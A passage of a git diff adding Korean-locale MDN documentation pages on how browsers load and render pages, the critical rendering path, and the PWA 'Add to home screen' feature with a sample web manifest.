+  &lt;/div&gt;
+  &lt;script src="anotherscript.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>This response for this initial request contains the first byte of data received. {{glossary('Time to First Byte')}} (TTFB) is the time between when the user made the request—say by clicking on a link—and the receipt of this first packet of HTML. The first chunk of content is usually 14kb of data.</p>
+
+<p>In our example above, the request is definitely less than 14Kb, but the linked resources aren't requested until the browser encounters the links during parsing, described below.</p>
+
+<h3 id="TCP_Slow_Start_14kb_rule">TCP Slow Start / 14kb rule</h3>
+
+<p>The first response packet will be 14Kb. This is part of {{glossary('TCP slow start')}}, an algorithm which balances the speed of a network connection. Slow start gradually increases the amount of data transmitted until the network's maximum bandwidth can be determined.</p>
+
+<p>In {{glossary('TCP slow start')}}, after receipt of the initial packet, the server doubles the size of the next packet to around 28Kb. Subsequent packets increase in size until a predetermined threshold is reached, or congestion is experienced.</p>
+
+<p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>If you’ve ever heard of the 14Kb rule for initial page load, TCP slow start is the reason why the initial response is 14Kb, and why web performance optimization calls for focusing optimizations with this initial 14Kb response in mind. TCP slow start gradually builds up transmission speeds appropriate for the network's capabilities to avoid congestion.</p>
+
+<h3 id="Congestion_control">Congestion control</h3>
+
+<p><span style="font-weight: 400;">As the server sends data in TCP packets, the user's client confirms delivery by returning acknowledgements, or ACKs. The connection has a limited capacity depending on hardware and network conditions. If the server sends too many packets too quickly, they will be dropped. Meaning, there will be no acknowledgement. The server registers this as missing ACKs. Congestion control algorithms use this flow of sent packets and ACKs to determine a send rate.</span></p>
+
+<h2 id="파싱">파싱</h2>
+
+<p>Once the browser receives the first chunk of data, it can begin parsing the information received. {{glossary('speculative parsing', 'Parsing')}} is the step the browser takes to turn the data it receives over the network into the {{glossary('DOM')}} and {{glossary('CSSOM')}}, which is used by the renderer to paint a page to the screen.</p>
+
+<p>The DOM is the internal representation of the markup for the browser. The DOM is also exposed, and can be manipulated through various APIs in JavaScript.</p>
+
+<p>Even if the request page's HTML is larger than the initial 14KB packet, the browser will begin parsing and attempting to render an experience based on the data it has. This is why it's important for web performance optimization to include everything the browser needs to start rendering a page, or at least a template of the page - the CSS and HTML needed for the first render -- in the first 14 kilobytes. But before anything is rendered to the screen, the HTML, CSS, and JavaScript have to be parsed.</p>
+
+<h3 id="Building_the_DOM_tree">Building the DOM tree</h3>
+
+<p>We describe five steps in the <a href="/en-US/docs/Web/Performance/Critical_rendering_path">critical rendering path</a>.</p>
+
+<p>The first step is processing the HTML markup and building the DOM tree. HTML parsing involves <a href="/en-US/docs/Web/API/DOMTokenList">tokenization</a> and tree construction. HTML tokens include start and end tags, as well as attribute names and values. If the document is well-formed, parsing it is straightforward and faster. The parser parses tokenized input into the document, building up the document tree.</p>
+
+<p>The DOM tree describes the content of the document. The <code><a href="/en-US/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> element is the first tag and root node of the document tree. The tree reflects the relationships and hierarchies between different tags. Tags nested within other tags are child nodes. The greater the number of DOM nodes, the longer it takes to construct the DOM tree.</p>
+
+<p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p>
+
+<p>When the parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. Parsing can continue when a CSS file is encountered, but <code>&lt;script&gt;</code> tags—particularly those without an <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async</a></code> or <code>defer</code> attribute—block rendering, and pause the parsing of HTML. Though the browser's preload scanner hastens this process, excessive scripts can still be a significant bottleneck.</p>
+
+<h3 id="Preload_scanner">Preload scanner</h3>
+
+<p>While the browser builds the DOM tree, this process occupies the main thread. As this happens, the <em>preload scanner</em> will parse through the content available and request high priority resources like CSS, JavaScript, and web fonts. Thanks to the preload scanner, we don't have to wait until the parser finds a reference to an external resource to request it. It will retrieve resources in the background so that by the time the main HTML parser reaches requested assets, they may possibly already be in flight, or have been downloaded. The optimizations the preload scanner provides reduce blockages.</p>
+
+<pre class="brush:html">&lt;link rel="stylesheet" src="styles.css"/&gt;
+&lt;script src="myscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+&lt;img src="myimage.jpg" alt="image description"/&gt;
+&lt;script src="anotherscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+</pre>
+
+<p>In this example, while the main thread is parsing the HTML and CSS, the preload scanner will find the scripts and image, and start downloading them as well. To ensure the script doesn't block the process, add the <code>async</code> attribute, or the <code>defer</code> attribute if JavaScript parsing and execution order is not important.</p>
+
+<p>Waiting to obtain CSS doesn't block HTML parsing or downloading, but it does block JavaScript, because JavaScript is often used to query CSS properties’ impact on elements.</p>
+
+<h3 id="Building_the_CSSOM">Building the CSSOM</h3>
+
+<p>The second step in the critical rendering path is processing CSS and building the CSSOM tree. The CSS object model is similar to the DOM. <span style="color: #212121; display: inline !important; float: none; font-family: Roboto,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">The DOM and CSSOM are both trees. They are independent data structures</span>. The browser converts the CSS rules into a map of styles it can understand and work with. The browser goes through each rule set in the CSS, creating a tree of nodes with parent, child, and sibling relationships based on the CSS selectors.</p>
+
+<p>As with HTML, the browser needs to convert the received CSS rules into something it can work with. Hence, it repeats the HTML-to-object process, but for the CSS.</p>
+
+<p>The CSSOM tree includes styles from the user agent style sheet. The browser begins with the most general rule applicable to a node and recursively refines the computed styles by applying more specific rules. In other words, it cascades the property values.</p>
+
+<p>Building the CSSOM is very, very fast and is not displayed in a unique color in current developer tools. Rather, the "Recalculate Style" in developer tools shows the total time it takes to parse CSS, construct the CSSOM tree, and recursively calculate computed styles. In terms of web performance optimization, there are lower hanging fruit, as the total time to create the CSSOM is generally less than the time it takes for one DNS lookup.</p>
+
+<h3 id="Other_Processes">Other Processes</h3>
+
+<h4 id="JavaScript_Compilation">JavaScript Compilation</h4>
+
+<p>While the CSS is being parsed and the CSSOM created, other assets, including JavaScript files, are downloading (thanks to the preload scanner). JavaScript is interpreted, compiled, parsed and executed. The scripts are parsed into abstract syntax trees. Some browser engines take the {{glossary('Abstract Syntax Tree')}} and pass it into an interpreter, outputting bytecode which is executed on the main thread. This is known as JavaScript compilation.</p>
+
+<h4 id="Building_the_Accessibility_Tree">Building the Accessibility Tree</h4>
+
+<p>The browser also builds an <a href="/en-US/docs/Learn/Accessibility">accessibility</a> tree that assistive devices use to parse and interpret content. The accessibility object model (AOM) is like a semantic version of the DOM. The browser updates the accessibility tree when the DOM is updated. The accessibility tree is not modifiable by assistive technologies themselves.</p>
+
+<p>Until the AOM is built, the content is not accessible to <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Screen_Reader_Implementors_Guide">screen readers</a>.</p>
+
+<h2 id="렌더">렌더</h2>
+
+<p>Rendering steps include style, layout, paint and, in some cases, compositing. The CSSOM and DOM trees created in the parsing step are combined into a render tree which is then used to compute the layout of every visible element, which is then painted to the screen. In some cases, content can be promoted to their own layers and composited, improving performance by painting portions of the screen on the GPU instead of the CPU, freeing up the main thread.</p>
+
+<h3 id="Style">Style</h3>
+
+<p>The third step in the critical rendering path is combining the DOM and CSSOM into a render tree.The computed style tree, or render tree, construction starts with the root of the DOM tree, traversing each visible node.</p>
+
+<p>Tags that aren't going to be displayed, like the <code><a href="/en-US/docs/Web/HTML/Element/head">&lt;head&gt;</a></code> and its children and any nodes with <code>display: none</code>, such as the <code>script { display: none; }</code> you will find in user agent stylesheets, are not included in the render tree as they will not appear in the rendered output. Nodes with <code>visibility: hidden</code> applied are included in the render tree, as they do take up space. As we have not given any directives to override the user agent default, the <code>script</code> node in our code example above will not be included in the render tree.</p>
+
+<p>Each visible node has its CSSOM rules applied to it. The render tree holds all the visible nodes with content and computed styles -- matching up all the relevant styles to every visible node in the DOM tree, and determining, based on the <a href="/en-US/docs/Web/CSS/Cascade">CSS cascade</a>, what the computed styles are for each node.</p>
+
+<h3 id="Layout">Layout</h3>
+
+<p>The fourth step in the critical rending path is running layout on the render tree to compute the geometry of each node. <em>Layout</em> is the process by which the width, height, and location of all the nodes in the render tree are determined, plus the determination of the size and position of each object on the page. <em>Reflow</em> is any subsequent size and position determination of any part of the page or the entire document.</p>
+
+<p>Once the render tree is built, layout commences. The render tree identified which nodes are displayed (even if invisible) along with their computed styles, but not the dimensions or location of each node. To determine the exact size and location of each object, the browser starts at the root of the render tree and traverses it.</p>
+
+<p>On the web page, most everything is a box. Different devices and different desktop preferences mean an unlimited number of differing viewport sizes. In this phase, taking the viewport size into consideration, the browser determines what the dimensions of all the different boxes are going to be on the screen. Taking the size of the viewport as its base, layout generally starts with the body, laying out the dimensions of all the body’s descendants, with each element's box model properties, providing placeholder space for replaced elements it doesn’t know the dimensions of, such as our image.</p>
+
+<p>The first time the size and position of nodes are determined is called <em>layout</em>. Subsequent recalculations of node size and locations are called <em>reflows</em>.  In our example, suppose the initial layout occurs before the image is returned. Since we didn't declare the size of our image, there will be a reflow once the image size is known.</p>
+
+<h3 id="Paint">Paint</h3>
+
+<p>The last step in the critical rendering path is painting the individual nodes to the screen, the first occurence of which is called the <a href="/en-US/docs/Glossary/first_meaningful_paint">first meaningful paint</a>. In the painting or rasterization phase, the browser converts each box calculated in the layout phase to actual pixels on the screen. Painting involves drawing every visual part of an element to the screen, including text, colors, borders, shadows, and replaced elements like buttons and images. The browser needs to do this super quickly.</p>
+
+<p>To ensure smooth scrolling and animation, everything occupying the main thread, including calculating styles, along with reflow and paint, must take the browser less than 16.67ms to accomplish. At 2048 X 1536, the iPad has over 3,145,000 pixels to be painted to the screen. That is a lot of pixels that have to be painted very quickly. To ensure repainting can be done even faster than the initial paint, the drawing to the screen is generally broken down into several layers. If this occurs, then compositing is necessary.</p>
+
+<p>Painting can break the elements in the layout tree into layers. Promoting content into layers on the GPU (instead of the main thread on the CPU) improves paint and repaint performance. There are specific properties and elements that instantiate a layer, including <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> and <code><a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a></code>, and any element which has the CSS properties of <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, a 3D <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>, <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>, and a few others. These nodes will be painted onto their own layer, along with their descendants, unless a descendant necessitates its own layer for one (or more) of the above reasons.</p>
+
+<p>Layers do improve performance, but are expensive when it comes to memory management, so should not be overused as part of web performance optimization strategies.</p>
+
+<h3 id="Compositing">Compositing</h3>
+
+<p>When sections of the document are drawn in different layers, overlapping each other, compositing is necessary to ensure they are drawn to the screen in the right order and the content is rendered correctly.</p>
+
+<p>As the page continues to load assets, reflows can happen (recall our example image that arrived late).  A reflow sparks a repaint and a re-composite. Had we defined the size of our image, no reflow would have been necessary, and only the layer that needed to be repainted would be repainted, and composited if necessary. But we didn't include the image size! When the image is obtained from the server, the rendering process goes back to the layout steps and restarts from there.</p>
+
+<h2 id="상호운용성">상호운용성</h2>
+
+<p>Once the main thread is done painting the page, you would think we would be "all set." That isn't necessarily the case. If the load includes JavaScript, that was correctly deferred, and only executed after the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code> event fires, the main thread might be busy, and not available for scrolling, touch, and other interactions.</p>
+
+<p>{{glossary('Time to Interactive')}} (TTI) is the measurement of how long it took from that first request which led to the DNS lookup and SSL connection to when the page is interactive -- interactive being the point in time after the {{glossary('First Contentful Paint')}} when the page responds to user interactions within 50ms. If the main thread is occupied parsing, compiling, and executing JavaScript, it is not available and therefore not able to responsd to user interactions in a timely (less than 50ms) fashion.</p>
+
+<p>In our example, maybe the image loaded quickly, but perhaps the <code>anotherscript.js</code> file was 2MB and our user's network connection was slow.  In this case the user would see the page super quickly, but wouldn't be able to scroll without jank until the script was downloaded, parsed and executed. That is not a good user experience. Avoid occupying the main thread, as demonstrated in this WebPageTest example:</p>
+
+<p><img alt="The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection" src="https://mdn.mozillademos.org/files/16760/visa_network.png" style="height: 699px; width: 1200px;"></p>
+
+<p>In this example, the DOM content load process took over 1.5 seconds, and the main thread was fully occupied that entire time, unresponsive to click events or screen taps.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Performance">Web Performance</a></li>
+</ul>
diff --git a/files/ko/web/performance/중요_렌더링_경로/index.html b/files/ko/web/performance/중요_렌더링_경로/index.html
new file mode 100644
index 0000000000..0dd28ed81c
--- /dev/null
+++ b/files/ko/web/performance/중요_렌더링_경로/index.html
@@ -0,0 +1,60 @@
+---
+title: 중요 렌더링 경로
+slug: Web/Performance/중요_렌더링_경로
+translation_of: Web/Performance/Critical_rendering_path
+---
+<p>{{draft}}</p>
+
+<p>중요 렌더링 경로 (<em>Critical Rendering Path</em>)는 브라우저가 HTML, CSS, Javascipt를 화면에 픽셀로 변화하는 일련의 단계를 말하며 이를 최적화하는 것은 렌더링 성능을 향상시킵니다. 중요 렌더링 경로는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), <a href="https://developer.mozilla.org/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), 렌더 트리 그리고 레이아웃을 포함합니다.</p>
+
+<p>도큐먼트 오브젝트 모델은 HTML을 분석함으로써 만들어집니다. HTML은 Javascript를 요청할 수 있으며, 이 경우 DOM 이 변경될 수 있습니다. HTML은 차례대로 CSS 오브젝트 모델을 만들기 위한 스타일에 대한 요청을 만들거나 포함합니다. 브라우저 엔진은 이 두가지를 결합하여 렌더 트리를 생성하며 레이아웃은 페이지의 모든 것에 대한 크기와 위치를 결정합니다. 일단 레이아웃이 결정되면 화면에 픽셀을 그립니다.</p>
+
+<p>중요 렌더링 경로 최적화는 첫번째 렌더링의 시간을 개선시킵니다. 중요 렌더링 경로를 이해하고, 최적화 하는 것은 뛰어난 사용자 상호작용을 보장하며 버벅거림을 피할 수 있도록 하고, 1초당 60 프레임에 리플로우와 리페인트가 발생할 수 있도록 하는데 중요합니다.</p>
+
+<h2 id="CRP_이해하기">CRP 이해하기</h2>
+
+<p>웹 성능은 서버의 요청과 응답, 로딩, 스크립팅, 렌더링, 레이아웃 그리고 화면에 픽셀 그리기를 포함합니다.</p>
+
+<p>웹 페이지 또는 어플리케이션에 대한 요청은 HTML 요청으로 시작됩니다. 서버는 응답 헤더 또는 데이터로 HTML을 반환합니다. 그리고 나서 브라우저는 HTML을 분석하고 수신된 바이츠를 DOM 트리로 변환하기 시작합니다. 브라우저는 스타일시트, 스크립트 또는 포함된 이미지 참조인 외부 자원에 대한 링크를 찾을때마다 요청을 시작합니다. 불러온 에셋을 다룰 때까지 나머지 HTML을 분석하는 작업하는 일부 요청은 중단되며 차단됩니다. 브라우저는 CSS 오브젝트 모델을 구축하는 작업이 끝날때까지 요청을 만들고 DOM을 생성하는 HTML을 계속해서 분석합니다. DOM과 CSSOM이 완료되면 브라우저는 렌더 트리를 생성하고 보여지는 컨텐츠를 위해 스타일을 계산합니다. 렌더트리가 완료된 후 모든 렌더 트리 요소들에 대한 위치와 크기가 정의된 레이아웃이 만들어집니다. 일단 완료되면 레이지는 렌더링되거나 또는 화면에 '그려집니다(<em>painted</em>)'.</p>
+
+<h3 id="Document_Object_Model">Document Object Model</h3>
+
+<p>DOM 구성은 점진적으로 증가합니다. HTML 응답은 토큰으로, 토큰은 노드로, 노드는 DOM 트리로 변환됩니다.1개의 DOM 노드는 시작태그 토큰으로 시작해서 끝태그 토큰으로 끝납니다. 노드들은 HTML 요소에 대한 모두 연관성 있는 정보를 포함하고 있습니다. 그 정보는 토큰을 통해 설명됩니다. 노드들은 토큰의 위계서열을 기반으로 DOM 트리안에 연결됩니다. 만약 또 다른 시작태그와 끝태그의 묶음이 한 세트의 시작태그와 끝태그 사이에 있다면, 여러분은 DOM 트리의 위계서열을 정의하는 방법으로 노드 안에 노드를 가지게 됩니다.</p>
+
+<p>많은 수의 노드는 중요 렌더링 경로에서 다음의 이벤트를 더 오래 발생시킬 것입니다. 측정하세요! 몇 개의 추가 노드는 차이를 만들지 않지만 전염은 버벅거림을 유발할 수 있습니다.</p>
+
+<h3 id="CSS_Object_Model">CSS Object Model</h3>
+
+<p>DOM은 페이지의 모든 컨텐츠를 포함하고, CSSOM은 DOM을 스타일링 하기 위한 페이지의 모든 스타일 정보를 포함합니다. CSSOM은 DOM과 유사하지만 다릅니다. DOM의 구조는 점진적으로 증가하는 반면에 CSSOM은 그렇지 않습니다. CSS는 렌더링을 막습니다: 브라우저는 모든 CSS를 처리하고 수신할때까지 페이지 렌더링을 막습니다. CSS는 규칙을 덮어쓸수 있기 때문에 렌더링을 막습니다. 그러므로 CSSOM이 완료될때까지 콘텐츠를 렌더링 할 수 없습니다.</p>
+
+<p>CSS는 유효한 토크들은 인식하기 위해 스스로 규칙 세트를 가지고 있습니다. CSS의 C가 'Cascade(종속 또는 폭포)'라는 의미를 기억해두세요. CSS 규칙은 아래로 종속됩니다. 분석기는 토큰을 노드로 변환할때, 하위 노드가 스타일을 상속합니다. 연속적인 규칙들이 이전의 규칙들에 덮어쓰여질 수 있기 때문에, 증감 처리 기술은 HTML 처럼 CSS에 적용되지는 않습니다. CSS 개체 모델은 CSS를 분석할 때 빌드되지만 나중에 분석되 덮어쓸 스타일들은 화면에 렌더링 할 수 없기 때문에 완전히 분석될 때까지 렌더 트리를 생성하는데 사용할 수 없습니다.</p>
+
+<p>선택자 성능 측면에서, 덜 구체적인 선택자는 더 구체적인 선택자보다 더 빠릅니다. 예를 들어, 브라우저가 <code>.foo</code> 찾을때, <code>.foo {}</code> 는 <code>.bar .foo {}</code> 보다 빠릅니다. 왜냐하면 두번째 시나리오에서, <code>.foo</code> 가 부모 객체인 <code>.bar</code> 를 가지고 있는지 확인하기 위해 DOM을 거슬러 올라가기 때문입니다. 더 구체적인 태그는 브라우저에게 더 많은 작업을 요구하지만 이러한 패널티는 최적화 할 가치가 없습니다.</p>
+
+<p>만약 CSS 분석 시간을 측정한다면, 브라우저들이 정말 빠르다는 것에 놀랄 것입니다. 규칙이 구체적일수록 DOM 트리 안에서 더 많은 노드들은 지나야 하기 때문에 더 높은 비용이 듭니다. 그러나 추가적인 비용은 일반적으로 최소입니다. 첫번째는 측정입니다. 필요할때 최적화하세요. 특정 짓는 것은 쉬운 일이 아닙니다. CSS 측면에서, 선택자 성능 최적화와 개선은 오직 microsecond 밖에 되지 않될 것입니다. 축소화와 미디어 쿼리를 사용함으로써 지연된 CSS를 논-블로킹 요청으로 분리하는 것과 같은 <a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/CSS_performance">CSS 최적화</a>를 위한 다른 방법이 있습니다.</p>
+
+<h3 id="Render_Tree">Render Tree</h3>
+
+<p>렌터 트리는 콘텐츠와 스타일 둘다 캡쳐합니다. DOM과 CSSOM 트리는 렌더 트리에 결합됩니다. 렌더 트리를 구성하기 위해 브라우저는 DOM 트리의 root에서 시작해 모든 노드는 확인하면서 어떤 CSS 규칙들을 첨부할지 결정합니다.</p>
+
+<p>렌더 트리는 오직 보여지는 콘텐츠만은 캡쳐합니다. (일반적으로) 헤드 섹션은 보여지는 정보를 포함하고 있지 않으므로 렌더트리 안에 포함되지 않습니다. 만약 요소에 <code>display: none</code> 이 적용되어 있다면, 해당 요소 또는 하위 요소는 포함되지 않습니다.</p>
+
+<h3 id="Layout">Layout</h3>
+
+<p>일단 렌더 트리가 생성되고 나면, 레이아웃은 가능해지며 화면의 크기에 의존합니다. 레이아웃 단계는 요소들이 페이지에서 배치되는 위치와 방법, 각 요소의 너비와 높이 그리고 서로 관련된 위치를 결정합니다.</p>
+
+<p>요소의 너비는 무엇일까요? 정의에 따르면, 블럭 수준의 요소들은 그 부모 너비의 기본 너비값의 100% 입니다. 50%의 너비를 갖는 요소는 부모 요소의 절반일 것입니다. 비록 그렇게 정의되어 있지 않더라고, <code>body</code> 는 뷰포트 너비의 100%를 의미하는 너비 입니다. 디바이스의 너비는 레이아웃에 영향을 미칩니다.</p>
+
+<p>뷰포트 메타 태그는 레이아웃에 영향을 미치는 뷰포트 레이아웃의 너비로 정의합니다. 이 태그 없다면, 브라우저는 뷰포트 기본값을 사용합니다. 브라우저의 full screen 기본값은 일반적으로 960px 입니다. 기본적으로 브라우저의 full screen에서, 스마트폰의 브라우저와 같은 너비는 <code>&lt;meta name="Viewport" content="width=device-witdh"&gt;</code> 로 세팅함으로써 기본 뷰포트 너비 대신에 디바이스의 너비를 사용합니다. 디바이스 너비는 사용자가 디비이스를 가로(landscapre) 또는 세로(portrait) 모드 사이로 돌릴때마다 바뀝니다. 레이아웃은 디바이스가 회전하거나 브라우저의 사이즈가 조정될 때마다 발생합니다.</p>
+
+<p>레이아웃 성능은 DOM의 영향을 받습니다. 노드의 수가 많을수록 레이아웃은 더 길어지며 스크롤링 또는 다른 애니메이션들이 필요하다면 레이아웃에 쟁크(jank)를 일으키는 병목현상이 발생할 수 있습니다. 로딩 또는 방향 전환에 20ms 정도 밀릴 수 있지만 애니메이션 또는 스크롤에 쟁크(jank) 유발할 수 있습니다. 노드에 박스 모델 업데이트, 콘텐츠 대체 그리고 노드 추가와 같은 수정은 언제든지 렌더 트리를 수정할 수 있으며 레이아웃을 형성합니다.</p>
+
+<p>레이아웃 이벤트의 반복과 형성시간을 줄이기 위해서 일괄 업데이트 해야하고, 박스 모델 속성을 애니메이션화 하지 말아야 합니다.</p>
+
+<h3 id="Paint">Paint</h3>
+
+<p>마자믹 단계는 화면에 픽셀을 그리는 것입니다. 일단 렌더 트리가 생성되고 레이아웃나 나타나기 시작하면, 화면에 픽셀을 그릴수 있습니다. 로드시, 전체 화면을 그립니다. 그 후에는 브라우저가 필요한 최소 영역만을 다시 그리도록 최적화되어 있기 때문에 영향을 받는 영역만을 화면에 다시 그립니다. 그리는 시간은 렌터 트리에 적용되는 업데이트의 종류가 무엇있냐에 따라 달라집니다. 페인팅인 매우 빠르게 진행되는 과정이기 때문에 성능 향상에 집중해야 하는 가장 큰 영향있는 부분이 아닐 수 있지만, 애니메이션 프레임 소요시간을 측정할때, 레이아웃과 리페인트 시간을 모두 고려하는 것이 중요합니다. 각 노드에 적용된 스타일은 페인트 시간을 증가시키지만 페인트 시간을 0.001ms 증가시키는 스타일을 제거하는 것은 여러분의 최적화 비용이 매우 커지는 것을 막지 못할 수 있습니다. 첫째는 측정하는 것을 기억하고, 최적화 우선순위를 정해야할지 말지를 결정해야 합니다.</p>
+
+<h2 id="Optimizing_for_CRP">Optimizing for CRP</h2>
+
+<p>자원 로드 순서를 관리하고, 파일 사이즈를 줄이며 어떤 자원을 먼저 로드할지 정함으로써 페이지 로드 속도를 개선하세요. 성능 팁으로는 1) 자원 다운로드를 연기함으로써 중요 자원들의 수를 최소화하기 , 2) 각 요청에 대한 파일 사이즈에 따라 필수적인 요청 횟수 최적하하기, 3) 다운받을 중요 에셋의 우선순위를 정함으로써 중요 자원 불러오는 순서 최적화하고, 중요 경로 길이 최소화하기</p>
diff --git a/files/ko/web/progressive_web_apps/add_to_home_screen/index.html b/files/ko/web/progressive_web_apps/add_to_home_screen/index.html
new file mode 100644
index 0000000000..e3c6e738d5
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/add_to_home_screen/index.html
@@ -0,0 +1,218 @@
+---
+title: Add to home screen
+slug: Web/Progressive_web_apps/Add_to_home_screen
+tags:
+  - Manifest
+  - PWA
+  - Service Worker
+  - 아이콘
+  - 프로그레시브 웹 앱
+  - 홈 화면에 추가
+translation_of: Web/Progressive_web_apps/Add_to_home_screen
+---
+<p class="summary">Add to Home screen (or A2HS for short) is a feature available in modern smartphone browsers that allows developers to easily and conveniently add a shortcut to their Home screen representing their favorite web app (or site) so they can subsequently access it with a single tap. This guide explains how A2HS is used, and what you need to do as a developer to allow your users to take advantage of it.</p>
+
+<h2 id="Why_A2HS">Why A2HS?</h2>
+
+<p>A2HS is thought to be part of the <a href="/en-US/docs/Web/Progressive_web_apps">Progressive Web App</a> philosophy — giving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. Part of this is the simple gesture of accessing an app by tapping its icon on your Home screen, and then having it appear neatly in its own window. A2HS makes this possible.</p>
+
+<h2 id="What_browsers_support_A2HS">What browsers support A2HS?</h2>
+
+<p>A2HS is supported by Mobile Chrome/Android Webview since version 31, Opera for Android since version 32, and Firefox for Android since <a href="/en-US/docs/Mozilla/Firefox/Releases/58">version 58</a>.</p>
+
+<h2 id="How_do_you_use_it">How do you use it?</h2>
+
+<p>We've written a very simple example web site (<a href="https://mdn.github.io/pwa-examples/a2hs/">see our demo live</a>, and also <a href="https://github.com/mdn/pwa-examples/tree/master/a2hs">see the source code</a>) that doesn't do much, but was developed with the necessary code to allow it to be added to a Home screen, as well as a service worker to enable it to be used offline. The example displays a series of fox pictures.</p>
+
+<p>If you have Firefox for Android available, use it to navigate to our demo at <code>https://mdn.github.io/pwa-examples/a2hs/</code>. You'll see fox pictures, but more important, you'll see a "home" icon with a plus (+) icon inside it — this is the "Add to Home screen" icon displayed for any site that has the necessary features in place.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15762/add-to-home-screen-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 64px; margin: 0px auto; width: 500px;"></p>
+
+<p>Tapping this will show a confirmation banner — pressing the big + <em>ADD TO HOME SCREEN</em> button completes the action, adding the app to the Home screen. (Note: In Android 8 and higher, a system-level "Add to Home screen" permission dialog will be shown first.)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15772/fx-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 421px; margin: 0px auto; width: 700px;"></p>
+
+<p>If you have Mobile Chrome available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your Home screen.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15771/chrome-a2hs-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 421px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find out a lot more about Chrome install banners from the article <a href="https://developers.google.com/web/fundamentals/app-install-banners/">Web App Install Banners</a>.</p>
+</div>
+
+<p>If you choose not to add it to your Home screen at this point, you can do so later using the <em>Add to Home screen</em> icon in the main Chrome menu.</p>
+
+<p>Regardless of which browser you are using, when you choose to add the app to your Home screen, you'll see it appear along with a short title, in the same way that native apps do.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15770/a2hs-on-home-screen.png" style="border-style: solid; border-width: 1px; display: block; height: 243px; margin: 0px auto; width: 400px;"></p>
+
+<p>Tapping this icon opens it up, but as a fullscreen app, you'll no longer see the browser UI around it.</p>
+
+<h2 id="How_do_you_make_an_app_A2HS-ready">How do you make an app A2HS-ready?</h2>
+
+<p>To enable your app to be added to a Home screen, it needs the following:</p>
+
+<ul>
+ <li>To be served over HTTPs — the web is increasingly being moved in a more secure direction, and many modern web technologies (A2HS included) will work only on secure contexts.</li>
+ <li>To have a manifest file with the correct fields filled in, linked from the HTML head.</li>
+ <li>To have an appropriate icon available for displaying on the Home screen.</li>
+ <li>Chrome additionally requires the app to have a service worker registered (e.g., so it can function when offline).</li>
+</ul>
+
+<h3 id="Manifest">Manifest</h3>
+
+<p>The web manifest is written in standard JSON format and should be placed somewhere inside your app directory (in the root is probably best) with the name <code><em>somefilename</em>.webmanifest</code> (we've chosen <code>manifest.webmanifest</code>). It contains multiple fields that define certain information about the web app and how it should behave.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The <code>.webmanifest</code> extension is specified in the <a href="https://w3c.github.io/manifest/#media-type-registration">Media type registration</a> section of the specification, but generally browsers will support manifests with other appropriate extensions, e.g. <code>.json</code>.</p>
+</div>
+
+<p>The fields needed for A2HS are as follows:</p>
+
+<ul>
+ <li><code>background_color</code>: Specifies a background color to be used in some app contexts. The most relevant one to A2HS is the splash screen displayed when the app icon on the Home screen is tapped and it first starts to load (this currently appears only when apps have been added to the Home screen by Chrome).</li>
+ <li><code>display</code>: Specifies how the app should be displayed. To make it feel like a distinct app (and not just a web page), you should choose a value such as <code>fullscreen</code> (no UI is shown at all) or <code>standalone</code> (very similar, but system-level UI elements such as the status bar might be visible).</li>
+ <li><code>icons</code>: Specifies icons for the browser to use when representing the app in different places (such as on the task switcher, or more important, the Home screen). We've included only one in our demo.</li>
+ <li><code>name</code>/<code>short_name</code>: These fields provide an app name to be displayed when representing the app in different places. <code>name</code> provides the full app name, and <code>short_name</code> provides a shortened name to be used when there is insufficient space to display the full name. You are advised to provide both if your app's name is particularly long.</li>
+ <li><code>start_url</code>: Provides a path to the asset that should be loaded when the added-to-Home screen app is launched. Note that this has to be a relative URL pointing to the site index, relative to the url of the manifest. Also, be aware that Chrome requires this before it will display the install banner, whereas Firefox doesn't require it for showing the home-with-a-plus icon.</li>
+</ul>
+
+<p>The manifest for our sample app looks like this:</p>
+
+<pre class="brush: js">{
+  "background_color": "purple",
+  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
+  "display": "fullscreen",
+  "icons": [
+    {
+      "src": "icon/fox-icon.png",
+      "sizes": "192x192",
+      "type": "image/png"
+    }
+  ],
+  "name": "Awesome fox pictures",
+  "short_name": "Foxes",
+  "start_url": "/pwa-examples/a2hs/index.html"
+}</pre>
+
+<h3 id="Appropriate_icon">Appropriate icon</h3>
+
